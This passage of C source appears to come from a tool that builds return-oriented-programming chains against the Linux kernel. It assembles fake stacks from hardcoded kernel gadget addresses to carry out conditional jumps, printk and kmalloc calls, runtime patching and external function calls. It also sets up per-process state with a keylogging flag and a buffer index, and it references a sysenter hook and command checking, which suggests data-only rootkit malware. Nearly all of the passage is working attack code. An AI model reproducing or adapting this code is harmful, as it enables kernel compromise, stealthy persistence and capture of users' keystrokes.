    generate_pop(fake_stack, fake_stack_size, REG_RAX);                     // POP RAX, RET;
    add_patch_entry(fake_stack, fake_stack_size, type, 0);                  // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // for the given type,
                                                                            // must be overwritten by init

    // RAX points to the state field, but we want the VALUE
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);     // MOV RAX, [RAX]; RET;
    
    // If the value is supposed to be in RAX, we are done.
    if (reg == REG_RAX)
            return;

    // Otherwise we need to move it from RAX to the given register
    // Use our move sequence for this.
    if (stack_safe)
        generate_move_from_rax(fake_stack, fake_stack_size, reg);
    else
        generate_move_from_rax_unsafe(fake_stack, fake_stack_size, reg);
}

/** 
 * Load a VALUE from the state area into the given register.
 *
 * This sequence will move the VALUE within the given state
 * field into one of the supported registers (RBX, RCX, RDX, 
 * RSI, RDI).
 * The sequence uses RDI, RDX and RAX. However, it is possible to
 * load the value into RAX, RDI, or RDX.
 * 
 * IMPORTANT: This function guarantees that the stack remains valid.
 *            This means older gadgets on the stack will not be 
 *            overwritten.
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param type The entry within the state that should be read.
 * @param reg The register that should contain the result.
 * 
 */
static void generate_get_state_value(void **fake_stack, u32 *fake_stack_size,
                                     u32 type, enum registers reg)
{
    _generate_get_state_value_helper(fake_stack, fake_stack_size, type, reg, 1);
}

/** 
 * Load a VALUE from the state area into the given register.
 *
 * This sequence will move the VALUE within the given state
 * field into one of the supported registers (RBX, RCX, RDX, 
 * RSI, RDI).
 * The sequence uses RDX and RAX. However, it is possible to
 * load the value into RAX or RDX.
 * 
 * IMPORTANT: This function may overwrite previously executed gadgets
 *            on the stack!
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param type The entry within the state that should be read.
 * @param reg The register that should contain the result.
 * 
 */
static void generate_get_state_value_unsafe(void **fake_stack, u32 *fake_stack_size,
                                            u32 type, enum registers reg)
{
    _generate_get_state_value_helper(fake_stack, fake_stack_size, type, reg, 0);
}


/**
 * Add a gadget sequence for a conditional jump equal (jz).
 *
 * This function will add a gadget sequence for a conditional jump. The value 
 * to check is thereby expected to be contained in RDX, while the value to 
 * compare with is supposed to be in RBX.
 * This sequence used RAX, RBX, RCX, RDX, RDI, and RBP.
 *
 * This function is stack save. That is, the function will not overwrite any
 * previously executed gadgets (gadgets that reside before the current SP).
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
* @param cond_offset The number of bytes that should be skipped in case the 
 *                   RBX == RDX.
 */
static void generate_conditional_jump_equal(void **fake_stack, u32 *fake_stack_size, 
                                            u64 cond_offset)
{
    u32 current_size = 0;
    void *location = 0;
    u32 location_size = 0;
    
    // We need to make sure that we do not overwrite anything important.
    // Since we have to use PUSHF to get the flags, the approach we 
    // need to take is rather involved.
    
    // First of all we need to setup RAX as we will call it later on.
    // RAX should execute our PUSHF gadget.
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff81143f0d, fake_stack, fake_stack_size);     // PUSHF; CALL RCX;
    
    // Next we need to setup RCX (see call above)
    generate_pop(fake_stack, fake_stack_size, REG_RCX);                     // POP RCX; RET
    add_to_fake_stack(0xffffffff8100a4dc, fake_stack, fake_stack_size);     // ADR: POP RDX;
                                                                            //      POP RCX; 
                                                                            //      POP RAX; 
                                                                            //      RET;
    
    // Now setup RDI with our sub gadget. 
    // IMPORTANT: We have to execute the gadget in RDI AFTER we make
    // room on the stack as every ADD instruction changes the EFLAGS!
    generate_pop(fake_stack, fake_stack_size, REG_RDI);                     // POP RCX; RET
    add_to_fake_stack(0xffffffff8159978b, fake_stack, fake_stack_size);     // SUB RDX, RBX;
                                                                            // CALL RAX;

    // Finally we can start the whole thing.
    // Increment stack pointer and invoke SUB.
    add_to_fake_stack(0xffffffff816d3626, fake_stack, fake_stack_size);     // ADD RSP, 0x18; JMP RDI;
    
    // Padding
    add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size);     // This value will be overwritten
                                                                            // by the CALL RCX;
    add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size);     // This value will be overwritten
                                                                            // by the PUSHF!
    add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size);     // This value will be overwritten
                                                                            // by the CALL RAX of the sub!
    // Flags are now in RCX!
    // Move them to RAX.
    generate_move_to_rax(fake_stack, fake_stack_size, REG_RCX);
    
    // Load mask for ZF into RDX 
    add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX; RET
    add_to_fake_stack(1 << 6, fake_stack, fake_stack_size);                 // MASK ZF

    // Isolate ZF using and
    add_to_fake_stack(0xffffffff815af5a9, fake_stack, fake_stack_size);     // AND EAX, EDX; RET
    
    // SHR
    add_to_fake_stack(0xffffffff810cea25, fake_stack, fake_stack_size);     // SHR RAX,0x6; AND EAX,0x1; RET

    // NEG
    add_to_fake_stack(0xffffffff8135234a, fake_stack, fake_stack_size);     // NEG RAX; RET
    
    // Load conditional offset size into RDX
    add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX; RET
    add_to_fake_stack(cond_offset, fake_stack, fake_stack_size);            // Offset

    // And the offset with the mask
    add_to_fake_stack(0xffffffff815af5a9, fake_stack, fake_stack_size);     // AND EAX, EDX; RET

    // If we want to jump, rax is > 0
    // Get the current stack pointer.
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff812ce0c8);    // PUSH RSP; POP RDX; RET;

    // Safe the size to be able to fix the stack
    current_size = (*fake_stack_size);
    
    // Add RSP to the offset
    add_to_fake_stack(0xffffffff8101baf1, fake_stack, fake_stack_size);     // ADD RAX, RDX; RET

    // Account for the gadgets that follow PUSH RSP and FIX SP
    // Move offset into RDI
    add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size);     // POP RDI; RET
    // We have to overwrite the next gadget with the correct size that
    // is required to fix the stack (= the size of the remaining gadgets
    // in this function), once we know it at the end of the function.
    location = (*fake_stack);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // Gadget size
                                                                            // must be overwritten!

    // Add offset to RAX
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);     // ADD RAX, RDI; RET

    // Move new SP to RBP
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff8116747c);    // PUSH RAX; POP RBP; RET

    // LEAVE RET
    add_to_fake_stack(LEAVE_RET, fake_stack, fake_stack_size);              // LEAVE; RET;
    
    // Fix the gadget size from above.
    // Gadgets - space of new RBP, since we use LEAVE RET!
    add_to_fake_stack((*fake_stack_size) - current_size - 8, 
                      &location, &location_size);
}

/**
 * Add a gadget sequence for a conditional jump not equal (jnz).
 *
 * This function will add a gadget sequence for a conditional jump. 
 * The value to check is thereby expected to be contained in RDX,
 * while the value to compare with is expected to be in RBX!
 * This sequence uses RAX, RBX, RCX, RDX, RDI, and RBP
 * 
 * This function is stack save. That is, the function will not overwrite any
 * previously executed gadgets (gadgets that reside before the current SP).
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param cond_offset The number of bytes that should be skipped in case the 
 *                    RBX != RDX.
 */
static void generate_conditional_jump_not_equal(void **fake_stack, u32 *fake_stack_size,
                                                u64 cond_offset)
{
    u32 current_size = 0;
    void *location = 0;
    u32 location_size = 0;
    
    // We need to make sure that we do not overwrite anything important.
    // Since we have to use PUSHF to get the flags, the approach we 
    // need to take is rather involved.
    
    // First of all we need to setup RAX as we will call it later on.
    // RAX should execute our PUSHF gadget.
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff81143f0d, fake_stack, fake_stack_size);     // PUSHF; CALL RCX;
    
    // Next we need to setup RCX (see call above)
    generate_pop(fake_stack, fake_stack_size, REG_RCX);                     // POP RCX; RET
    add_to_fake_stack(0xffffffff8100a4dc, fake_stack, fake_stack_size);     // ADR: POP RDX;
                                                                            //      POP RCX; 
                                                                            //      POP RAX; 
                                                                            //      RET;
    
    // Now setup RDI with our sub gadget. 
    // IMPORTANT: We have to execute the gadget in RDI AFTER we make
    // room on the stack as every ADD instruction changes the EFLAGS!
    generate_pop(fake_stack, fake_stack_size, REG_RDI);                     // POP RCX; RET
    add_to_fake_stack(0xffffffff8159978b, fake_stack, fake_stack_size);     // SUB RDX, RBX;
                                                                            // CALL RAX;

    // Finally we can start the whole thing.
    // Increment stack pointer and invoke SUB.
    add_to_fake_stack(0xffffffff816d3626, fake_stack, fake_stack_size);     // ADD RSP, 0x18; JMP RDI;
    
    // Padding
    add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size);     // This value will be overwritten
                                                                            // by the CALL RCX;
    add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size);     // This value will be overwritten
                                                                            // by the PUSHF!
    add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size);     // This value will be overwritten
                                                                            // by the CALL RAX of the sub!
    // Flags are now in RCX!
    // Move them to RAX.
    generate_move_to_rax(fake_stack, fake_stack_size, REG_RCX);

    // Flags are now in RAX
    // Load mask for ZF into RDX 
    add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX; RET
    add_to_fake_stack(1 << 6, fake_stack, fake_stack_size);                 // MASK ZF

    // Isolate ZF using and
    add_to_fake_stack(0xffffffff815af5a9, fake_stack, fake_stack_size);     // AND EAX, EDX; RET

    // SHR
    add_to_fake_stack(0xffffffff810cea25, fake_stack, fake_stack_size);     // SHR RAX,0x6; AND EAX,0x1; RET

    // SET RDX to 1
    add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX; RET
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);                    // 0x1

    // XOR
    add_to_fake_stack(0xffffffff81678448, fake_stack, fake_stack_size);     // XOR EAX, EDX; RET
    // Now RAX is 1 if the ZF was NOT set!

    // NEG
    add_to_fake_stack(0xffffffff8135234a, fake_stack, fake_stack_size);     // NEG RAX; RET

    // Load conditional offset size into RDX
    add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX; RET
    add_to_fake_stack(cond_offset, fake_stack, fake_stack_size);            // Offset

    // And the offset with the mask
    add_to_fake_stack(0xffffffff815af5a9, fake_stack, fake_stack_size);     // AND EAX, EDX; RET
 
    // If we want to jump, rax is > 0
    // Get the current stack pointer.
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff812ce0c8);    // PUSH RSP; POP RDX; RET;

    // Safe the size to be able to fix the stack
    current_size = (*fake_stack_size);
    
    // Add RSP to the offset
    add_to_fake_stack(0xffffffff8101baf1, fake_stack, fake_stack_size);     // ADD RAX, RDX; RET

    // Account for the gadgets that follow PUSH RSP and FIX SP
    // Move offset into RDI
    add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size);     // POP RDI; RET
    // We have to overwrite the next gadget with the correct size that
    // is required to fix the stack (= the size of the remaining gadgets
    // in this function), once we know it at the end of the function.
    location = (*fake_stack);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // Gadget size
                                                                            // must be overwritten!

    // Add offset to RAX
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);     // ADD RAX, RDI; RET

    // Move new SP to RBP
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff8116747c);    // PUSH RAX; POP RBP; RET

    // LEAVE RET
    add_to_fake_stack(LEAVE_RET, fake_stack, fake_stack_size);              // LEAVE; RET;
    
    // Fix the gadget size from above.
    // Gadgets - space of new RBP, since we use LEAVE RET!
    add_to_fake_stack((*fake_stack_size) - current_size - 8, 
                      &location, &location_size);
}


/**
 * Add a printk statement to the given fake stack.
 * 
 * This function will generate a printk sequence for the 
 * given string.
 * The sequence uses RDX, RDI, RAX, and RBP.
 * 
 * IMPORTANT: This function is NOT stack safe as it uses an
 *            external function ('printk').
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param fmt The format string to be printed.
 * @param ... The arguments of the format string.
 */
static void generate_printk(void **fake_stack, u32 *fake_stack_size, char *fmt, ...)
{
    int size = 0;
    u32 i = 0;
    u64 distance = 0;
    u64 cleanup = 0;
    u64 *strp = 0;
    va_list argp;
    char *buffer = malloc(4096);

    printf("\t[*] Generating printk gadget sequence...\n");

    if (!buffer)
    {
            error(-1, 0, " [!] Could not allocate memory for string!\n");
    }

    va_start(argp, fmt);
    size = vsnprintf(buffer, 4096, fmt, argp);
    va_end(argp);

    if (size < 0 || size >= 4088)
    {
            error(-1, 0, " [!] String is too big!\n");
    }

    // Terminate string
    buffer[size] = '\0';
    size++;

    // Calculate variables
    // "Align" string
    while (size % 0x8 != 0)
    {
            buffer[size] = '\0';
            size++; 
    }

    // Calculate the cleanup portion
    cleanup = (*fake_stack_size);
    // We write a cleanup portion to the fake stack to get its size,
    // however we will reset the stack afterwards such that this gadget
    // is overwritten.
    generate_stack_increment(fake_stack, fake_stack_size, size);
    cleanup = (*fake_stack_size) - cleanup;
    
    // Reset
    (*fake_stack_size) -= cleanup;
    (*fake_stack) -= cleanup;

    // Calculate the distance to the string in bytes
    distance = 7 * 8;         // There are 7 gadgets before the cleanup portion
    distance += cleanup;      // The cleanup

    // -----------------------------------------> Gadget sequence starts here
    // Get the current stack pointer.
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff812ce0c8);    // PUSH RSP; POP RDX; RET;
    
    // Load distance to string into RDI
    add_to_fake_stack(0xffffffff810b2703, fake_stack, fake_stack_size);     // POP RDI, RET;
    add_to_fake_stack(distance, fake_stack, fake_stack_size);               // DISTANCE

    // Move SP from RDX to RAX
    add_to_fake_stack(0xffffffff81091536, fake_stack, fake_stack_size);     // MOV RAX, RDX; RET;

    // Add RAX (SP) to RDI (distance)
    // Notice that RDI is also the first argument
    // for printk!
    add_to_fake_stack(0xffffffff811c98de, fake_stack, fake_stack_size);     // ADD RDI, RAX; MOV RAX, RDI; RET;

    // Load Address of 'printk' into RAX
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0xffffffff816be98c, fake_stack, fake_stack_size);     // Address of printk

    // "Call" printk
    add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size);     // JMP RAX;

    // Cleanup - Remove the string from the stack
    generate_stack_increment(fake_stack, fake_stack_size, size);

    // Copy the string
    strp = (u64 *)buffer;
    for (i = 0; i < size; i += sizeof(u64))
    {
            add_to_fake_stack((*strp), fake_stack, fake_stack_size);        // Copy bytes of the string
            strp++;
    }
}

/**
 * Generate a kmalloc gadget sequence.
 * 
 * This function generates a gadget sequence that invokes kmalloc
 * using the specified size. The result of the kmalloc call will be
 * in RAX.
 * 
 * The function makes use of RAX, RDI, and RSI.
 * 
 * IMPORTANT: This function is NOT stack safe!
 * 
 * @param fake_stack The fake stack the patching sequence is added to.
 * @param fake_stack_size The current size of the fake stack.
 * @param size The size of the memory area that should be allocated.
 */
static void generate_kmalloc(void **fake_stack, u32 *fake_stack_size,
                              u32 size)
{
    // RDI = size, RSI = GFP_KERNEL
    generate_pop(fake_stack, fake_stack_size, REG_RDI);
    add_to_fake_stack(size, fake_stack, fake_stack_size);                   // SIZE in RDI

    generate_pop(fake_stack, fake_stack_size, REG_RSI);
    add_to_fake_stack(0xd0, fake_stack, fake_stack_size);                   // GFP_KERNEL, 0xd0

    // Load Address of '__kmalloc' into RAX
    generate_pop(fake_stack, fake_stack_size, REG_RAX);                     // POP RAX; RET;
    add_to_fake_stack(0xffffffff8117d490, fake_stack, fake_stack_size);     // Address of __kmalloc

    // "Call" __kmalloc
    add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size);     // JMP RAX;
}

/**
 * Generate a patching gadget seqeunce.
 * 
 * A patching gadget sequence patches all entries within a given fake 
 * stack (RCX) using the current value in RDI as base address. That is, 
 * the patching sequence generated by this function will iterate over 
 * all patching symbols within the target fake stack and patch them at 
 * run-time using the current value of RDI.
 * 
 * The function is stack safe.
 * 
 * IMPORTANT: This function expects the target fake stack to be in RCX,
 *            and the base address of the state to be in RDI. In addition,
 *            This function does not check whether RDI contains a 
 *            pointer to the global state or a process state. The 
 *            user has to specify this using the scope argument.
 * 
 * The function makes use of RAX, RCX, and RDI.
 * 
 * @param fake_stack The fake stack the patching sequence is added to.
 * @param fake_stack_size The current size of the fake stack.
 * @param target_fake_stack The fake stack containing all the patch 
 *                          symbols that should be processed.
 * @param target_fake_stack_size The size of the target fake stack,
 * @param scope The type of symbols that should be patched.
 */
static void generate_patch_gadget(void **fake_stack, u32 *fake_stack_size,
                              void *target_fake_stack, u32 target_fake_stack_size,
                              enum patch_scope scope)
{
    u32 i = 0;
    u32 patch_offset = 0;
    void *target_stack_begin = target_fake_stack - target_fake_stack_size;

    for (i = 0; i < patch_entry_index; ++i)
    {
        // Is this a symbol we want to process?
        if (patch_entries[i].scope != scope || scope == ALL)
        {
            continue;        
        }
        
        // Does the symbol lie in the target stack?
        if (patch_entries[i].fake_stack_position < target_stack_begin ||
            patch_entries[i].fake_stack_position > target_fake_stack)
        {
            continue;
        }
    
        // Set Offset
        patch_offset = patch_entries[i].type + patch_entries[i].type_offset;
        
        //printf("PATCHING %lx in stack %p\n", patch_offset, target_stack_begin);

        // ----------------------------------------------------------------
        // 1. Add the current offset to RDI, which contains the base address
        //    of the state.
        // ----------------------------------------------------------------
        // First add the offset to it.
        generate_add_value(fake_stack, fake_stack_size,
                            patch_offset, REG_RDI);
        
        // Save RDI as it is used by ADD and SUB gadgets
        generate_move_to_rax(fake_stack, fake_stack_size, REG_RDI);
        generate_move_from_rax(fake_stack, fake_stack_size, REG_RSI);
        
        // ----------------------------------------------------------------
        // 2. Calculate the address we want to patch
        // ----------------------------------------------------------------
        // The address of the memory region that should be patched is 
        // currently in RCX. Add the offset of the symbol to it.
        generate_add_value(fake_stack, fake_stack_size, 
                            patch_entries[i].fake_stack_offset, REG_RCX);
        
        // ----------------------------------------------------------------
        // 3. Restore RDI
        // ----------------------------------------------------------------
        generate_move_to_rax(fake_stack, fake_stack_size, REG_RSI);
        generate_move_from_rax(fake_stack, fake_stack_size, REG_RDI);

        // ----------------------------------------------------------------
        // 4. Do the patching
        // ----------------------------------------------------------------
        add_to_fake_stack(0xffffffff813df7ba, fake_stack, fake_stack_size);     // MOV [RCX], RDI;
                                                                                // XOR EAX,EAX;
                                                                                // RET;

        // ----------------------------------------------------------------
        // 5. RESET RDI and RCX
        // ----------------------------------------------------------------
        // RDI
        generate_substract_value(fake_stack, fake_stack_size, patch_offset, 
                                    REG_RDI);
        
        // Save RDI
        generate_move_to_rax(fake_stack, fake_stack_size, REG_RDI);
        generate_move_from_rax(fake_stack, fake_stack_size, REG_RSI);
        
        // RCX
        generate_substract_value(fake_stack, fake_stack_size, 
                                 patch_entries[i].fake_stack_offset, REG_RCX);
        
        // Restore RDI
        generate_move_to_rax(fake_stack, fake_stack_size, REG_RSI);
        generate_move_from_rax(fake_stack, fake_stack_size, REG_RDI);

    }
}

/**
 * Generate initialize a process state.
 * 
 * Generate a gadget sequence that initializes the local state of
 * a process. It expects a pointer to the state in RAX.
 * 
 * The function makes use of RAX, RCX, and RDI. 
 * 
 * The function is stack safe!
 * 
 * @param fake_stack The fake stack the patching sequence is added to.
 * @param fake_stack_size The current size of the fake stack.
 * 
 */
static void generate_initialize_process_state(void **fake_stack, u32 *fake_stack_size)
{
    // 1. Debug
    // Move offset into RDI
    generate_pop(fake_stack, fake_stack_size, REG_RDI);                     // POP RDI; RET
    add_to_fake_stack(DEBUG, fake_stack, fake_stack_size);                  // OFFSET

    // Add offset to RAX
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);     // ADD RAX, RDI; RET

    // Setup value
    generate_pop(fake_stack, fake_stack_size, REG_RDX);                     // POP RDX; RET
    // DEBUG ON=0x1, DEBUG OFF=0x0
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);                    // The value for debug
    // SET
    add_to_fake_stack(0xffffffff8115c832, fake_stack, fake_stack_size);     // MOV [RAX],RDX; RET
    // DEBUG DONE
    
    // 2. Keylog
    generate_pop(fake_stack, fake_stack_size, REG_RDI);                     // POP RDI; RET
    add_to_fake_stack(KEYLOG - DEBUG, fake_stack, fake_stack_size);         // OFFSET

    // Add offset to RAX
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);     // ADD RAX, RDI; RET

    // Setup value
    generate_pop(fake_stack, fake_stack_size, REG_RDX);                     // POP RDX; RET
    // KEYLOG ON=0x1, KEYLOG OFF=0x0
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // The value for KEYLOG
    // SET
    add_to_fake_stack(0xffffffff8115c832, fake_stack, fake_stack_size);     // MOV [RAX],RDX; RET
    // Keylog DONE

    // 3. BUFFER_INDEX
    generate_pop(fake_stack, fake_stack_size, REG_RDI);                     // POP RDI; RET
    add_to_fake_stack(BUFFER_INDEX - KEYLOG, fake_stack, fake_stack_size);  // OFFSET

    // Add offset to RAX
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);     // ADD RAX, RDI; RET

    // Setup value
    generate_pop(fake_stack, fake_stack_size, REG_RDX);                     // POP RDX; RET
    // DEFAULT 0
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // The value for BUFFER_INDEX
    // SET
    add_to_fake_stack(0xffffffff8115c832, fake_stack, fake_stack_size);     // MOV [RAX],RDX; RET
    // BUFFER_INDEX DONE
}

/**
 * Generates a gadget for an external function call.
 *
 * The gadget uses the kernel stack for an external function call. It is
 * useful when we have to execute external function calls within a loop 
 * and must therefore keep our stack unmodified.
 * 
 * The function arguments must be in TMP_RDI, TMP_RSI and TMP_RDX.
 * Currently only functions with 3 arguments supported.
 * 
 * This gadget uses RAX, RBX, RCX, RDX, RSI, RDI, RBP. 
 * 
 * This function is stack safe as it uses the kernel stack for the actual
 * function call.
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param address The address of the function to be called.
 */
static void generate_external_call(void **fake_stack, u32 *fake_stack_size,
                                   u64 address)
{
    void *location = 0;
    u32 location_size = 0;
    
    // ----------------------------------------------------------------
    // Get the location of the original kernel stack
    // ----------------------------------------------------------------
    // Lets first calculate the address of the kernel stack.
    // For this we move the address of the per_cpu kernel stack into RAX.
    // This address is contained in gs:0xc730. It is a fixed address for
    // our target machine.
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);          // POP RAX; RET;
    add_to_fake_stack(0xffff88003d80c730, fake_stack, fake_stack_size);          // gs:0xc730

    // We want the VALUE at this address
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);          // MOV RAX, [RAX]; RET
    
    // Load offset from per_cpu(kernel_stack) to current 
    // kernel stack (basically we have to account for the memory 
    // that the system call handler is using) into RSI
    add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size);          // POP RSI; RET;
    add_to_fake_stack(0x60, fake_stack, fake_stack_size);                        // Offset. This is 
                                                                                 // the space that the
                                                                                 // system_call_handler
                                                                                 // is using.

    // We now have to SUBSTRACT (the stack grows down!) this value from the 
    // kernel stack in RAX to get the value the SP had before our sysenter
    // hook was invoked.
    add_to_fake_stack(0xffffffff8158f734, fake_stack, fake_stack_size);          // SUB RAX, RSI; RET;
    
    // Move the pointer into RSI
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RSI);

    // ----------------------------------------------------------------
    // Prepare the kernel stack for the call
    // ----------------------------------------------------------------
    // We now place the return address on the kernel stack.
    // For this we need the current stack pointer.
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff812ce0c8);         // PUSH RSP; POP RDX; RET;

    // The SP points here! Safe this location to calculate the correct
    // offset at the end.
    location_size = (*fake_stack_size);
    
    // Move RAX to RDX
    generate_move_to_rax(fake_stack, fake_stack_size, REG_RDX);
    
    // Add the size of this sequence to the amount that the SP should
    // be increased by. Since the size of the sequence is unknown at
    // this point, we will overwrite this gadget at the end of the
    // function with the correct size!
    // For the latter we first save the address and the size
    location = (*fake_stack);
    generate_add_value(fake_stack, fake_stack_size, 0, REG_RAX);
    // RAX now contains return address.

    // Move
    // RSI was already loaded above!
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Return address now on kernel stack
    
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(fake_stack, fake_stack_size,
                             0x8, REG_RSI);
    
    // Next move a POP RSP; RET gadget to the stack.
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0xffffffff81423f82, fake_stack, fake_stack_size);          // POP RSP; RET

    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // POP RSP; RET now on kernel stack.
    
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(fake_stack, fake_stack_size,
                             0x8, REG_RSI);
    
    
    // Finally we have to move the function we want to call to the 
    // stack
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(address, fake_stack, fake_stack_size);                     // Function address
    
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Function now on kernel stack.
    
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(fake_stack, fake_stack_size,
                             0x8, REG_RSI);
    
    // Now the arguments
    // RDI
    generate_get_state_value(fake_stack, fake_stack_size,
                             TMP_RDI, REG_RAX);
    
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Value of RDI on stack
    
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(fake_stack, fake_stack_size,
                             0x8, REG_RSI);
    
    // POP RDI;
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    generate_pop(fake_stack, fake_stack_size, REG_RDI);

    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // POP RDI; RET;
    
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(fake_stack, fake_stack_size,
                             0x8, REG_RSI);
    
    
    // RSI
    generate_get_state_value(fake_stack, fake_stack_size,
                             TMP_RSI, REG_RAX);
    
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Value of RSI on stack
    
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(fake_stack, fake_stack_size,
                             0x8, REG_RSI);
    
    // POP RSI;
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    generate_pop(fake_stack, fake_stack_size, REG_RSI);

    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // POP RSI; RET;
    
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(fake_stack, fake_stack_size,
                             0x8, REG_RSI);
    
    
    // RDX
    generate_get_state_value(fake_stack, fake_stack_size,
                             TMP_RDX, REG_RAX);
    
    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // Value of RDX on stack
    
    // Substract 8 from RSI such that it points to the next free value
    // on the kernel stack
    generate_substract_value(fake_stack, fake_stack_size,
                             0x8, REG_RSI);
    
    // POP RDI;
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    generate_pop(fake_stack, fake_stack_size, REG_RDX);

    // Move
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;
    // POP RDX; RET;
    
    // ----------------------------------------------------------------
    // Execute!
    // ----------------------------------------------------------------
    // Now the call. We use LEAVE; RET for this purpose.
    // Substract 8 from the kernel stack pointer to account for POP RBP!
    generate_substract_value(fake_stack, fake_stack_size,
                             0x8, REG_RSI);
    
    // Move the Pointer 
    generate_move_to_rax(fake_stack, fake_stack_size, REG_RSI);
    
    // Move new SP to RBP
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff8116747c);    // PUSH RAX; POP RBP; RET;
    
    // LEAVE; RET
    add_to_fake_stack(LEAVE_RET, fake_stack, fake_stack_size);              // LEAVE; RET;
    
    // Overwrite the add sequence. We want to return here after the call!
    generate_add_value(&location, &location_size, 
                       (*fake_stack_size) - location_size, 
                       REG_RAX);
}

/**
 * Generates a command checking sequence.
 *
 * This function generates a gadget sequence that checks the current 
 * process buffer for a specific command. During run-time it returns 
 * 0 if a the current command matches the command to check for.
 * 
 * This gadget uses RAX, RBX, RCX, RDX, RSI, RDI, RBP. 
 * 
 * IMPORTANT: This function is NOT stack safe!
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param command The command string to check for in hex in reverse!
 */
static void generate_check_command(void **fake_stack, u32 *fake_stack_size,
                                   u64 command)
